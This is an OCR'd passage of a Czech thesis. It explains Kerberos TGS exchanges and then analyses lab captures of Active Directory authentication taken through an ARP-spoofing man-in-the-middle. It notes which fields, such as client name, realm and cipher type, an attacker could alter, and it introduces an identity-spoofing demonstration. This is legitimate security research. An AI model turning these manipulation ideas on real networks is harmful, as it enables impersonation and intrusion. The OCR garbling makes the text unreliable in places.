piipad lze pokracovat. Alternativnd MUZE server Kerberos vrétit TGT pro sféru, kterd je
,blize*“ pozadované sfére (ddle po standardni hierarchické cest€ mezi klientovou sférou a
sférou pozadovaného serveru). VSimnéte si, Ze v tomto piipadé mize chybnd konfigurace
serverd Kerberos zptisobit smycky ve vysledné ovétovaci cesté, které by mél klient peclivé

odhalit a vyhnout se jim.[9]

N1

Pokud server Kerberos vrati TGT pro doménu ,,bliz§i* neZ poZzadovand sféra, klient
MUZE pouzit konfiguraci mistni politiky k ovéfeni, zda je pouzitd cesta ovérovani pfija-
telnd. Pripadné si klient MUZE zvolit vlastni ov&fovaci cestu a nespoléhat se na to, Ze ji
vybere server Kerberos. V obou piipadech MUSI byt veskeré informace o zasaddch nebo
konfiguraci pouZité k vybéru nebo ovéfeni ovérovacich cest, at’ uz serverem Kerberos nebo

klientem, ziskdny z divéryhodného zdroje. [9]

Pokud klient ziskd TGT, ktery je ,,blize* cilové sfére, MUZE tento ticket ulozit do mezi-
paméti a znovu jej pouZit pfi budoucich vyménach KRB-TGS se sluzbami v ,bliz§{* sféfe.
Pokud by vsak klient ziskal TGT pro ,,blizsi sféru tak, Ze by zacal v pivodnim KDC, a
nikoli v rdmci ziskdvani jiného ticketu, pak by se mohla pouZit kratsi cesta do ,,bliz§i* do-
mény(subdomény). Tato kratsi cesta miiZe byt Zadouci, protoZe KIi€ relace prislusného tiketu

by znalo méné zprostredkujicich KDC.
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Z tohoto divodu by klienti méli pfi rozhodovani o pouziti tipu v budoucnu vyhodnotit,
zda daveéruji sféram, kterymi prosli pii ziskavani ,,blizstho* ticketu. [9]

Jakmile klient ziskd TGT pro pfislusSnou doménu, zjisti, které servery Kerberos tuto do-
ménu obsluhuji, a kontaktuje jeden z nich. Seznam miiZe byt ziskan prostfednictvim konfigu-
racniho souboru nebo sit'ové sluzby nebo MUZE byt vygenerovéan z ndzvu domény. Pokud
jsou tajné klice vyménované sférami udrzovany v tajnosti, dochdzi pouze k odepteni sluzby
v diasledku pouziti faleSného serveru Kerberos. [9]

Stejné jako pri vyméné pridruZzeného systému mize klient ve zpravé KRB_TGS_REQ
zadat fadu moznosti. Jednou z téchto moznosti je moZnost ENC-TKT-IN-SKEY, ktera se
pouZzivd pro ovérovani mezi uZzivateli. Pfi generovani zpravy KRB_TGS_REQ tato volba
oznacuje, Ze klient do pole dodatecnych tiketd v pozadavku uvadi TGT ziskany od aplikac-
niho serveru a ze KDC MUSI zasifrovat ticket pro aplikadni server pomoci klie relace z

tohoto dodate¢ného tiketu namisto klice serveru z hlavni databaze. [9]

Klient pfipravi zpraivu KRB_TGS_REQ a poskytne autentiza¢ni hlavicku jako prvek
pole padata a obsahuje stejnd pole jako ve zpravé KRB_AS_REQ spolu s nékolika nepo-
vinnymi poli: pole enc-authorization-data pro pouziti aplikacnim serverem a dalsi tickety
vyZadované nékterymi moznostmi.[9]

Pii pripravé ovérovaci hlavicky mize klient zvolit dil¢i kli€ relace, pod kterym bude od-
povéd’ ze serveru Kerberos Sifrovdana. Pokud klient zvoli dil¢i kli¢ relace, je tfeba dbat na
ndhodnost zvoleného dilciho klice relace. Neni-li dil¢i kli¢ relace zadédn, pouZije se kliC re-
lace z TGT. Pokud je pfitomen enc-authorization-data, MUSI byt zaifrovan kli¢em dilé{
relace, pokud je pfitomen, z autentizacni ¢asti autentizacni hlavicky, nebo pokud nenf pfito-

men, pouZzitim klice relace z TGT. Jakmile jsou vSechny ndleZitosti splnény, je poZadavek

odeslan na server. [9]

Zprava KRB_TGS_REQ se zpracovdva na serveru podobné jako zprdva KRB_AS_REQ,
ale je tfeba provést mnoho dalSich kontrol. Nejprve musi server Kerberos urcit, ktery ser-
ver je doprovodny ticket uréen, a MUSI vybrat piislusny server kli¢ k jeho deSifrovani.
V pripadé bézné zprivy KRB_TGS_REQ to bude zprava pro sluzbu poskytujici ticket a
pouzije se kli¢ TGS. Pokud TGT byla vyddna jinou doménou, pak se pouZije piislusny
kli¢ mezi doménami MUSI byt pouZit. Pokud doprovodny ticket neni TGT pro aktudlni

sféry, ale je ur€en pro aplikacni server v aktudlni sféfe, jsou v tiketu uvedeny moznosti
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RENEW, VALIDATE nebo PROXY a serverem, pro ktery je tiket pozadovan, je server
uvedeny v prilozeném ticketu, pak KDC deSifruje tiket v ovérovaci hlavicce pomoci klice
serveru, pro ktery byl vydan. Pokud v padata nelze nalézt Zadny ticket, je vracena chyba

KDC_ERR_PADATA_TYPE_NOSUPP.

Po desifrovani doprovodného ticket, se uZivatelem zadané tdaje musi byt ovéfen kon-
trolni soucet v Autentikdtoru proti obsahu a zprdva musi byt odmitnuta, pokud se kont-
rolni soucty neshoduji nebo kontrolni soucet neni odolny proti kolizi. Pokud typ kontrol-
ntho souctu neni podporovén, je vriacena chyba KDC_ERR_SUMTYPE_NOSUPP. Po-
kud autorizacni data jsou pfitomna, jsou deSifrovdna pomoci klice dil¢i relace z Authentica-
toru. Pokud jakékoliv desifrovani indikuje netdspéSnou kontrolu integrity, je vracena chyba
KRB_AP_ERR_BAD_INTEGRITY. Pokud KDC obdrZi zpravu KRB_TGS_REQ, ktera
je totoZnd se zpravou, kterou neddvno zpracoval, musi odeslat stejnou KRB_TGS_REP,
kterou odpovédél predtim. Pokud je vSak autentizator opakovany, ale zbytek pozadavku neni

totozny, pak KDC MUSI vritit KRB_AP_ERR_REPEAT.
5.4.2 Zprava KRB_TGS_REP

Odpovéd” KRB_TGS_REP bude obsahovat ticket pro poZadovany server nebo pro server
poskytujici tickety zprostredkujictho KDC, ktery ma byt kontaktovadn za dcelem ziskani po-
Zadovaného ticketu. Provede se dotaz do databiaze Kerberos, aby se ziskal zdznam pro pfi-
slusny server (vcetné klice, kterym bude listek zaSifrovan). Pokud je poZadavek na TGT pro
vzdalenou sféru a pokud s poZadovanou sférou neni sdilen Zadny kli¢, vybere server Kerbe-
ros sféru ,,nejblizsi* pozadované sféte, se kterou sdili kli¢, a pouZije ji misto toho. Toto je
jediny pfipad, kdy odpovéd’ pro KDC bude pro jiny server, nez ktery klient poZadoval.

Ve vychozim nastaveni je pole adresy, jméno a doména klienta, seznam tranzitnich sfér,
Cas pocateCniho ovéreni. Cas vyprSeni platnosti a autorizacni udaje nové vydaného opravnéni.
zkopiruji z TGT nebo obnovitelného tipu. Pokud je tfeba aktualizovat pole tranzitovanych,

ale typ tranzitu neni podporovan, je vracena chyba KDC_ERR_TRTYPE_NOSUPP.

Pokud je v poZadavku uveden ¢as ukoncent, pak je ¢as ukonceni nové sluzby nastaven na
minimum z (a) tohoto poZadavku, endtime z TGT a pocatecniho ¢asu TGT plus minimum
z nasledujicich hodnot maximélni doby Zivotnosti pro aplikacni server a maximalni doby

Zivotnosti pro lokélni sféry (maximdlni Zivotnost pro zadavatele pozadavku byla jiz pouZita



ptfi vydani TGT). Pokud ma byt novy tiket obnoveni, pak se vySe uvedend doba ukonceni
nahradi minimem hodnoty pole renew_till ticketu a doby zahdjeni pro novy tip plus Zivotnost

(endtime-starttime) starého ticketu.

Pokud pozadovany starttime chybi, oznacuje ¢as v minulosti nebo je v rdmci okna pfija-
telného zkresleni hodin pro KDC a nebyla zadana moznost POSTDATE, pak se Cas zacatku
ticketu nastavi na aktudlni ¢as ovérovaciho serveru. Pokud je uveden ¢as v budoucnosti mimo
pfijatelnou odchylku hodin, ale nebyla zaddna volba POSTDATED nebo neni v TGT nasta-
ven priznak MAY-POSTDATE, je vracena chyba KDC_ERR_CANNOT_POSTDATE. V
opacném piipadé, pokud je v TGT nastaven pfiznak MAY-POSTDATE, bude vysledny ticket
datovan na pozdéji a poZadovany Cas zacatku je zkontrolovan s politikou mistni domény. Po-
kud je pfijatelny, nastavi se pozadovany Cas spusténi tipu a nastavi se priznak INVALID.
Pred pouzitim je tfeba ovéfit platnost ticketu s odloZenou platnosti tak, Ze se po dosazeni
starttime predlozi KDC. V Zadném piipadé vSak nesmi Cas zahdjeni, ¢as ukonCeni ani Cas
obnoveni nové vydaného ticketu s odloZenou platnosti piesdhnout ¢as obnoveni TGT.

Sifrovana &ast odpovédi ve zpravé KRB_TGS_REP je zasifrovana dil¢im klicem relace
od Autentikdtoru, pokud je pfitomen, nebo klicem relace od TGT. Neni zaSifrovana pomoci
tajného klice klienta. Déle jsou vynechdna pole s datem vyprSeni platnosti klice klienta a
¢islem verze kliCe, protoZe tyto hodnoty jsou uloZeny spolu se zdznamem v databdzi klienta
a tento zdznam nenfi potieba k uspokojeni pozadavku zaloZzeného na TGT.

Kdy?z klient obdrzi KRB_TGS_REP, je zpracovan stejnym zptisobem jako vySe popsané
zpracovani KRB_AS_REP. Hlavni rozdil spociva v tom, Ze Sifrovand cast odpovédi musi
byt desifrovdna pomoci dil¢iho klice relace od ovérovatele, pokud byl v pozadavku uveden,
nebo klice relace od TGT, nikoli tajného klice klienta. N4dzev serveru vraceny v odpovédi je

skutecny hlavni ndzev sluzby.
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II

PRAKTICKA CAST



6. Prakticka cast

V této Casti diplomové prace se budu vénovat analyze a manipulaci sluzby Active Directory
pomoci protokolu Kerberos. Testovat budu nasledujici verze operacnich systémi Windows a

Windows Server:

* Windows Server 2019 (Forest level 2016) a Windows 10 Client
¢ Windows Server 2019 (Forest level 2016) a Windows 10 Client
* Windows Server 2022 (Forest level 2016) a Windows 10 Client
¢ Windows Server 2025 (Forest level 2025) a Windows 11 Client

V této Casti se primdrné zaméfim na strukturu zprav a jejich funkci v autentifikaci vici
KDC. Spolecné s rozborem bude ukédzan rozbor manipulace, jeji implementace a naslednd
ukdzka funkcnosti na jedné z verzi. Ostatni verze budou demonstrovdny na video ukdzkach

v pfiloze préce.
6.1 Analyza protokolu Kerberos

Nejprve je pro pochopeni protokolu nutné si nasimulovat provoz na siti a odchytit si tyto
zpravy z pohledu utoc¢nika. Je nékolik zptisobu, jak tento ttok realizovat, ale pro tyto tcely
jsem si vybral ndstroj Ettercap, ktery simuluje Man in the Middle ttok. Tento ttok infikuje
ARP tabulku obou zafizeni tak, aby posilali komunikaci pres utocnika. Z pohledu sit' ového
provozu to vypada tak, Ze utoCnik zasila ARP zpravy, kde fika, Ze adresa serveru a klienta je
na MAC adrese uto¢nika. Tim je zaruCeno, Ze komunikace bude pieposilana pres ttocnika a
budeme moci modifikovat a analyzovat zpravy. Nasledné pomoci naslouchaciho nastroje Wi-
reshark si odchytim komunikaci a budu ji analyzovat. Pro autentifikaci klienta musi probéh-
nout celkem tfi typy zprav, a to jsou AS_REQ, AS_REP a ptipadné jiné predautentifikacni
nebo chybové zpravy. Zprava KRB AS_REQ ve Wiresharku vypada nésledovné:

65
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- Kerberos
- Record Mark: 231 bytes
D... +vtt it tiee saes saes weass ..., = Reserved: Not set
.000 QOO0 OOOO NOEE MEEO OO 1110 0111 = Record Length: 231
~ as-req
pvno: 5

msg-type: krb-as-req (10)
- padata: 1 item
~ PA-DATA pA-PAC-REQUEST
- padata-type: pA-PAC-REQUEST (128)
- padata-value: 3005a0030101ff
include-pac: True
- req-body
Padding: ©
» kdc-options: 40810010
- cname
name-type: KRB5-NT-ENTERPRISE-PRINCIPAL (10)
- cname-string: 1 item
CNameString: Administrator@TEST.cz
realm: TEST.CZ
» sname
till: Sep 13, 2037 04:48:05.000000000 CEST
rtime: Sep 13, 2037 04:48:05.000000000 CEST
nonce: 1315741530
etype: 6 items
addresses: 1 item DESKTOP-KQON375<20>

-

-

Obrazek 6.1.1 Interpretovand zprava Kerberos - AS_REQ

- sname
name-type: kRB5-NT-SRV-INST (2)
-~ sname-string: 2 items
SNameString: krbtgt
SNameString: TEST.CZ
till: Sep 13, 2037 04:48:05.000000000 CEST
rtime: Sep 13, 2037 04:48:05.000000000 CEST
nonce: 1315741530
- etype: 6 items
ENCTYPE: eTYPE-AES256-CTS-HMAC-SHA1-96 (18)
ENCTYPE: eTYPE-AES128-CTS-HMAC-SHA1-96 (17)
ENCTYPE: eTYPE-ARCFOUR-HMAC-MD5 (23)
ENCTYPE: eTYPE-ARCFOUR-HMAC-MD5-56 (24)
ENCTYPE: eTYPE-ARCFOUR-HMAC-OLD-EXP (-135)
ENCTYPE: eTYPE-DES-CBC-MD5 (3)
- addresses: 1 item DESKTOP-KQON375<20>
- HostAddress DESKTOP-KQON375<20>
addr-type: nETBIOS (20)
NetBIOS Name: DESKTOP-KQON375<20> (Server service)

Obrazek 6.1.2 Interpretovana zprava Keberos 2 - AS_REQ
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08 00 27 9d 5c e7 08 00 27 3b be 9c 08 0O 45 0O

01 13 a6 cl 40 00 80 06 60 bf cO a8 38 97 cO a8

38 7c ca cc 00 58 b 81 20 53 67 85 ac 51 50 18
85

ator@TES
TEST.CZ-

- 0. - kr
btgt.--TE ST.CZ. ..
- 2037091 3

+DESKTOP

Obrazek 6.1.3 Bajtova reprezentace zpravy Kerberos - AS_REQ (Modfe vyznacena ¢dst
reprezentuje zpravu Kerberos)

Wireshark pfi analyze datového provozu vyuZziva dvé zakladni reprezentace: bajtovou
(raw) a interpretovanou (dekédovanou) podobu. Pokud narazi na protokol, ktery neni uve-
den v jeho interni databazi, zpravidla se jej pokusi interpretovat jako béZny prenos v rdmci
TCP nebo UDP. V piipadé protokolu Kerberos zacind zprava specifickym polem zvanym
Record Mark, které urcuje celkovou délku zpravy. Nasleduje samotny obsah zpravy, ktery
obsahuje informace jako verzi protokolu, dopliikova data, nastaveni ptiznaki (flags), domé-
nové udaje a dalsi polozky, jeZ se mohou vztahovat ke konkrétnim uzivateltim, sluzbam ¢i

dalSim entitam.

Zv1astni pozornost zasluhuje skutecnost, Ze tyto zpravy se prendseji ve formdtu otevie-
ného textu (plaintext), coZ znamend, Ze jednotlivé polozky a jejich parametry jsou pfimo
pristupné pro Cteni a analyzu. Tato transparentnost umoZiiuje nejen podrobny monitoring
dat, ale i moznost ru¢ni manipulace s obsahem zpravy. Pro tucely bezpecnostni nebo dia-
gnostické analyzy 1ze zaméfit pozornost na kliova pole protokolu, kterd hraji zdsadni roli v

ramci autentizaéniho procesu.
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* CNameString - miZu manipulovat pfihlaSovacim jménem, které se bude na serveru
ovérovat,
* Realm - mtizu se pokusit autentifikovat pro jinou doménu/subdoménu,
* eType - je mozné manipulovat s tim jaké Sifry se budou pfi komunikaci vyuZivat.
Pokud by byla dohodnuta slaba Sifra je moZnost komunikaci deSifrovat.
Jakmile server zpracuje tento pozadavek, tak odpovi zpravou AS_REP nebo chybovou

zpravou KRB_ERROR. Tyto zpravy vypadaji ndsledovné:

~ Kerberos
- Record Mark: 147 bytes
Q. vt viih tire e aeas ware aees ..., = Reserved: Not set
.000 0000 0000 0CEOE 0000 AEEE 1001 0011 = Record Length: 147
- krb-error
pvno: 5

msg-type: krb-error (30)
stime: Apr 10, 2024 13:01:17.000000000 CEST
susec: 380998
error-code: eRR-PREAUTH-REQUIRED (25)
realm: TEST.CZ
~ sname
name-type: KRB5-NT-SRV-INST (2)
-~ sname-string: 2 items
SNameString: Kkrbtgt
SNameString: TEST.CZ
- e-data: 30353012a103020113a20b040930073005a0030201173009a1030
~ PA-DATA pA-ETYPE-INFO2
- padata-type: pA-ETYPE-INF02 (19)
- padata-value: 30073005a003020117
~ ETYPE-INFO2-ENTRY
etype: eTYPE-ARCFOUR-HMAC-MD5 (23)
- padata-type: pA-ENC-TIMESTAMP (2)
padata-value: <MISSING>
- PA-DATA pA-PK-AS-REQ
- padata-type: pA-PK-AS-REQ (16)
padata-value: <MISSING>
» PA-DATA pA-PK-AS-REP-19

Obrazek 6.1.4 Interpretovand zprava KRB_ERROR
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(0]0]0]0]
0010
0020
0030
0040
0e50
0e60
Pe70
0e80
0e90
0eao
00bo
(010Te{0)

24041011 0117Z- - -

.. .krbtg t.-TEST.
Cz-9-705

Obrazek 6.1.5 Bajtovd reprezentace zpravy Kerberos - KRB_ERROR (Modfe vyznacend
Cast reprezentuje zpravu Kerberos)

Vyhodou zpravy ERROR pro utocnika je to, Ze je vZdy v plaintextu, tudiZ je moZné se

dozvédét, o co se klient pokusil, co bylo chybou a jaka dalsi data poskytl.

-~ Kerberos
- Record Mark: 1451 bytes
O, v vttt vt teer teer iaer waes ... = Reserved: Not set
.000 0EEO 0OEO 0OEO 00E0 0101 1010 1011 = Record Length: 1451
- as-rep
pvno: 5

msg-type: krb-as-rep (11)
- padata: 1 item
- PA-DATA pA-ETYPE-INFO2
- padata-type: pA-ETYPE-INFO2 (19)
- padata-value: 30173015a003020112a10el1b0c544553542e435a7573657232
~ ETYPE-INFO2-ENTRY
etype: eTYPE-AES256-CTS-HMAC-SHA1-96 (18)
salt: TEST.CZuser2
crealm: TEST.CZ
- chame
name-type: KRBS5-NT-PRINCIPAL (1)
-~ cname-string: 1 item
CNameString: user2

- ticket
tkt-vno: 5
realm: TEST.CZ
+ sname

name-type: KRB5-NT-SRV-INST (2)
- sname-string: 2 items
SNameString: krbtgt
SNamestring: TEST.CZ
- enc-part
etype: eTYPE-AES256-CTS-HMAC-SHA1-96 (18)
kvno: 2
cipher: cecc84a4e85eb1a028b99e8cd92che@l1de6f5101be3e479bf27ec7095hc7a

Obrazek 6.1.6 Interpretovana zprava AS_REP
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s v 7z

Obrazek 6.1.7 Bajtova reprezentace zpravy Kerberos - AS_REP (Modfe vyznacena C4st

reprezentuje zpravu Kerberos)

Samotnd zprdva AS_REP piedava klientovi zaSifrovany TGT pomoci jejich sdileného
kli¢e. Uto¢nik miize vytahnout Sifrovany TGT a zjistit, pro koho byl vydén a v jaké doméné
je ticket platny. VSechny zpravy, které jsou takto odchycené, mizu modifikovat a pokusit se

zmanipulovat jak server, tak 1 klienta.
6.2 Proces komunikace pri ovérovani klienta

Nyni se zaméfim vice specificky na zpravy, které jsou potfeba k ispésné autentifikaci klienta
a jeho uspéSném nebo neudspésném prihlaSeni. Jak jsem jiZ ukdzal, tak zprdvy, které jsou
odchyceny MITM ttokem, jsou Citelné a modifikovatelné. Pro to, abych védél presné, o jaké
zpravy se jednd, je nutné si odchytit cely proces komunikace a uvézit, jaké zpravy je mozné

zneuZit. Proces odchyceni téchto zprav bude stejny jako v predchozi sekci.
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Predtim, nez se uzivatel dostane k pfihlaSovacimu oknu, probéhne n€kolik vymén zprav

mezi serverem a Active Directory. Cely proces zahrnuje mnoho zprav, protokold, TGT a

servisnich ticketii. Servisni tickety se nasledné vyuZivaji pro doloZeni opravnéni pouZiti pti-

slusnych protokolt.

192.168.56.152 192.168.56.124 KRB5 284 AS-REQ

192.168.56.124 192.168.56.152 KRB5 249 KRB Error: KRB5KDC_ERR_PREAUTH_REQUIRED
192.168.56.152 192.168.56.124 KRB5 364 AS-REQ

192.168.56.124 192.168.56.152 KRB5 141 AS-REP

192.168.56.152 192.168.56.124 KRB5 200 TGS-REQ

192.168.56.124 192.168.56.152 KRB5 181 TGS-REP

192.168.56.152 192.168.56.124 KRB5 1453 TGS-REQ

192.168.56.124 192.168.56.152 KRB5 1482 TGS-REP

192.168.56.152 192.168.56.124 SMB2 352 Session Setup Request

192.168.56.124 192.168.56.152 SMB2 314 Session Setup Response

Obrazek 6.2.1 Vyuziti prvniho TGT pro pfistup na LDAP protokol

Prvnim typem voldni o vydani TGT je zakonceno spojeni skrze SMB protokol. Tento
TGT je nasledné vyuZit pro dva servisni listky a vyuzit v SMB protokolu. Prvni sluzba, pro
kterou si klient vyzddal servisni listek, je CIFS. Protokol CIFS (Common Internet File Sys-
tem) je multiplatformni protokol, ktery poskytuje klientskym systémim mechanismus pro
vyuZzivani souborovych a tiskovych sluzeb zptistupnénych serverovymi systémy prostied-

nictvim sité. V kontextu spojeni se SMB protokol vyuZziva jako jeho dialekt.[8]

= sname
name-type: kRB5-NT-SRV-INST (2)

sname-string: 2 1tems

SNameString: cifs

SNameString: WIN-EUHCL3KOGRO.test.cz
till: Sep 13, 2037 04:48:05.000000000 CEST
nonce: 506510155

Obrézek 6.2.2 Z4dani servisniho lisku ke sluzbé cifs

Nésledné si vyzada ticket na sluzbu krbtgt, kterd se vyuziva pro obecné ovérovani. KRBTGT
je mistni vychozi ucet, ktery funguje jako servisni ucet pro sluzbu Key Distribution Center
(KDC). Tato zprava nejspis slouZi jako ovéfeni ulozeného TGT, ktery klient obdrzel pfi

autentifikaci pomoci zprav AS.
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- sname
name-type: kRB5-NT-SRV-INST (2)

~ sname-string: 2 items

SNameString: krbtgt

SNameString: TEST.CZ
till: Sep 13, 2037 ©04:48:05.000000000 CEST
nonce: 506468805

Obrizek 6.2.3 Zadani servisniho lisku ke sluzbé krbtgt

Na konci této vymeény dojde k piistupu pomoci SMB protokolu na server Active Directory.
Komunikace SMB protokolu je viditelna z pohledu tto¢nika a z komunikace vyplyva, Ze se
jednd o aktualizaci politiky doménového klienta.

377 Session Setup Request

314 Session Setup Response

194 Tree Connect Request Tree: \\WIN-EUHCL3KOGRO.test.cz\sysvol

138 Tree Connect Response

486 Create Request File: test.cz\Policies\{31B2F340-@16D-11D2-945F-00C04FBI84F9}\gpt.1ini

410 Create Response File: test.cz\Policies\{31B2F340-0160-11D2-945F-00C04FBI84FI}\gpt.ini

162 GetInfo Request FILE INFO/SMBZ2 FILE NETWORK _OPEN_INFO File: test.cz\Policies\{31B2F340-016D-11D2-945F-00CO4FBI84F9}\gpt.ini
186 GetInfo Response

171 Read Request Len:22 Off:0 File: test.cz\Policies\{31B2F340-016D-11D2-945F-00CA4FBS84F9}\gpt.ini

160 Read Response

430 Create Request File: test.cz\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\Machine

378 Create Response File: test.cz\Policies\{31B2F340-016D-11D2-945F-00CO4FB984F9}\Machine

162 GetInfo Request FILE_INFO/SMBZ_FILE_NETWORK_OPEN_INFQ File: test.cz\Policies\{31B2F340-016D-11D2-945F-00C@4FBI84F3}\Machine
186 GetInfo Response

260 Find Request File: test.cz\Policies\{31B2F340-016D-11D2-945F-00CO4FBI84FI}\Machine SMBZ_FIND_ID BOTH_DIRECTORY_INFO Pattern:
810 Find Response;Find Response, Error: STATUS NO MORE FILES

454 Create Request File: test.cz\Policies\{31B2F340-016D-11D2-945F-00CA4FB3I84F3} \Machine\Microsoft

378 Create Response File: test.cz\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\Machine\Microsoft

162 GetInfo Request FILE INFO/SMB2 FILE NETWORK_OPEN_INFQ File: test.cz\Policies\{31B2F340-016D-11D2-945F-00CE4FB384F3} \Machine\

Obrizek 6.2.4 Cist SMB komunikace mezi Active Directory a Clientem

Druhym typem volédni je vyzadani TGT, které nasledné skonci v komunikaci pomoci
LDAP protokolu. Z této komunikace neni bohuZel viditelné, na co klient pomoci LDAP

protokolu pristupuje. Tato komunikace je po distribuci kli¢t pomoci zpravy bindRequest

Sifrovana.
192.168.56.152 192.168.56.124 KRBS 364 AS5-REQ
192.168.56.124 192.168.56.152 KRE5 144 KRB Error: KRB5KRB_AP_ERR_SKEW
192.168.56.152 192.168.56.124 KRBS5 364 AS-REQ
192.168.56.124 192.168.56.152 KRBS 141 AS-REP
192.168.56.152 192.168.56.124 KRE5 209 TGS-REQ
192.168.56.124 192.168.56.152 KRBS 183 TGS-REP
192.168.56.152 192.168.56.124 LDAP 419 bindRequest(6) "<R0OOT=" sasl
192.168.56.124 192.168.56.152 LDAP 264 bindResponse(6) success

Obrazek 6.2.5 Vyuziti druhého TGT pro piistup na LDAP protokol

Jako u ptfedchozi vymény si tentokrat klient zazddal o servisni listek, ale tentokrit na
sluzbu LDAP a nésledné ho vyuzil v LDAP protokolu pro pristup do adresafové struktury

se€rveru.
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~ tgs-reqg
pvno: 5
msg-type: krb-tgs-req (12)
v padata: 2 items
~ reqg-body
Padding: ©
v kdc-options: 40800000
realm: TEST.CZ
~ shame
name-type: kRB5-NT-SRV-INST (2)
~ sname-string: 3 items
SNameString: ldap
SNameString: WIN-EUHCL3K@GR®.test.cz
SNameString: test.cz

Obrazek 6.2.6 Vyzadani servisniho listku pro LDAP protokol

Sluzby, které jsem dosud zminil, jsou ndsledné pouZzivany v kombinaci s rliznymi vola-
nimi. Lze usoudit to, Ze kazdé vyzadani TGT reprezentuje jeden krok v autentifikaci klienta,

zjisténi stavu systému a aktualizace politiky klienta. Slozit€js$i volani ukazuje nésledujici

zprava:
192.168.56.152 192.168.56.124 KRBS5 365 AS-REQ
192.168.56.124 192.168.56.152 KRB5 141 AS-REP
192.168.56.152 192.168.56.124 KRBS5 209 TGS-REQ
192.168.56.124 192.168.56.152 KRB5 183 TGS-REP
192.168.56.152 192.168.56.124 LDAP 407 bindRequest(4) "<ROOT>" sasl
192.168.56.124 192.168.56.152 LDAP 264 bindResponse(4) success
192.168.56.152 192.168.56.124 DCERPC 528 Bind: call_id: 2, Fragment: Single,
192.168.56.124 192.168.56.152 DCERPC 338 Bind_ack: call id: 2, Fragment: Sim
192.168.56.152 192.168.56.124 DCERPC 274 Alter_context: call_id: 2, Fragment
192.168.56.152 192.168.56.124 LDAP 395 bindRequest(3) "<R0OOT=" sasl
192.168.56.124 192.168.56.152 LDAP 264 bindResponse(3) success
192.168.56.152 192.168.56.124 KRBS5 185 TGS-RER
192.168.56.124 182.168.56.152 KRBS 154 TGS-REP
192.168.56.152 192.168.56.124 LDAP 395 bindRequest(7) "<=ROOT=" sasl
192.168.56.124 192.168.56.152 LDAP 264 bindResponse(7) success
192.168.56.152 192.168.56.124 KRBS5 209 TGS-REQ
192.168.56.124 192.168.56.152 KRB5 183 TGS-REP
192.168.56.152 192.168.56.124 KRBS5 1453 TGS-REQ
192.168.56.124 192.168.56.152 KRB5 1482 TGS-REP
192.168.56.152 192.168.56.124 SMB2 377 Session Setup Request
192.168.56.124 192.168.56.152 SMB2 314 Session Setup Response
192.168.56.152 192.168.56.124 DCERPC 528 Bind: call_id: 2, Fragment: Single,
192.168.56.124 192.168.56.152 DCERPC 338 Bind_ack: call id: 2, Fragment: Sim
192.168.56.152 192.168.56.124 DCERPC 274 Alter_context: call_id: 2, Fragment
192.168.56.152 192.168.56.124 LDAP 419 bindRequest(3) "<ROOT=" sasl
192.168.56.124 192.168.56.152 LDAP 264 bindResponse(3) success
192.168.56.152 192.168.56.124 LDAP 419 bindRequest(9) "<ROOT>" sasl
192.168.56.124 192.168.56.152 LDAP 264 bindResponse(9) success
192.168.56.152 192.168.56.124 LDAP 419 bindRequest(3) "<ROOT=" sasl
192.168.56.124 192.168.56.152 LDAP 264 bindResponse(3) success
192.168.56.152 192.168.56.124 LDAP 419 bindRequest(11) "<ROOT=" sasl
192.168.56.124 192.168.56.152 LDAP 264 bindResponse(11) success

Obrazek 6.2.7 Ukazka sloZitéjsi zpravy pro jeden TGT
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Prihlasovani klienta funguje obdobnym zpiisobem jako ostatni pfistupy ke sluzbam. Tato
vyména zprav ma nékolik hlavnich rozdild. Nejprve se jedna o autentikaci klienta, ktera
probihd pomoci AS_REQ. Nejprve zprava selze, jelikoZ se klienta nejprve pokusi uZivatele
autentifikovat bez hesla. Pokud tato vyména neprojde, tak klient zaSle novou zpravu, tento-
krat jiz s zaSifrovanym autentifikdtorem. Pokud by klient zadal Spatné heslo, tak by KDC
nebylo schopné deSifrovat autentikétor a zaslalo by chybové hldseni

KRBSKDC_ERR_PREAUTH_FAILED.

192.168.56.152 192.168.56.124 KRB5 266 AS-REQ

192.168.56.124 192.168.56.152 KRB5 221 KRB Error: KRB5SKDC_ERR_PREAUTH_REQUIRED
192.168.56.152 192.168.56.124 KRB5 346 AS-REQ

192.168.56.124 192.168.56.152 KRBS 62 AS-REP

192.168.56.152 192.168.56.124 KRB5 1447 TGS-REQ

192.168.56.124 192.168.56.152 KRB5 1479 TGS-REP

192.168.56.152 192.168.56.124 KRB5 153 TGS-REQR

192.168.56.124 192.168.56.152 KRB5 127 TGS-REP

192.168.56.152 192.168.56.124 DCERPC 472 Bind: call id: 2, Fragment: Single, 3 ct
192.168.56.124 192.168.56.152 DCERPC 338 Bind_ack: call id: 2, Fragment: Single,
192.168.56.152 192.168.56.124 DCERPC 274 Alter_context: call id: 2, Fragment: Sir
192.168.56.152 192.168.56.124 LDAP 395 bindRequest(15) "<ROOT>" sasl
192.168.56.124 192.168.56.152 LDAP 264 bindResponse(15) success

192.168.56.152 192.168.56.124 LDAP 363 bindRequest(19) "<ROOT>" sasl
192.168.56.124 192.168.56.152 1 DAP 264 hindResnonsef19) success

Obrézek 6.2.8 Vyména zprav pii prihlaSovani klienta

Po tomto kroku je uzivatel pfihlaSen do svého profilu. Dalsi zpravy po tomto kroku mizou
napsat v zdvislosti na tom, v jakych sluzbiach maji implementaci protokolu Kerberos pro

oveéreni uzivatele.

6.3 Manipulace Kerberos Protokolu

Jak bylo demonstrovéano v predchozich sekcich, nékteré typy zprav protokolu Kerberos jsou
prenaseny v otevieném textu (plaintext), coZ umoziuje jejich pifimou analyzu. Timto zpa-
sobem lze naptiklad zjistit, o jaké tickety se klient pokousi, pfipadné jakou identitu vyuziva
pfi autentizaci. Tato transparentnost vSak zdroven predstavuje bezpecnostni riziko, nebot’
zpravy jsou potencidlné nachylné k manipulaci.

Z hlediska bezpecnosti vyvstava otdzka, zda v piipadé pfenosu zprdv pies neSifrovany
kandl existuje na trovni aplikace dostateCny mechanismus, ktery by zamezil zpracovani
pozménénych zprav. Tuto hypotézu Ize experimentdlné ovéfit prostiednictvim manipulace
zpravy pii pouZiti techniky typu man-in-the-middle (MITM). V rdmci takového ttoku je cela
komunikace smérovana pres zafizeni utocnika, ktery tak ziskdva schopnost zpravy aktivné

modifikovat.
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Nésledujici ¢ast prace se zaméfi na konkrétni implementaci manipulace s Kerberos zpra-
vou a analyzu jejich disledkil pro klienta i cilovou sluzbu. Demonstrovany piipad se bude
tykat Upravy obsahu pole cname (client name), coZ v praxi znamend, Ze se klient bude au-

tentizovat jako jiny uZivatel, jehoz identitu zvolil Gto¢nik.
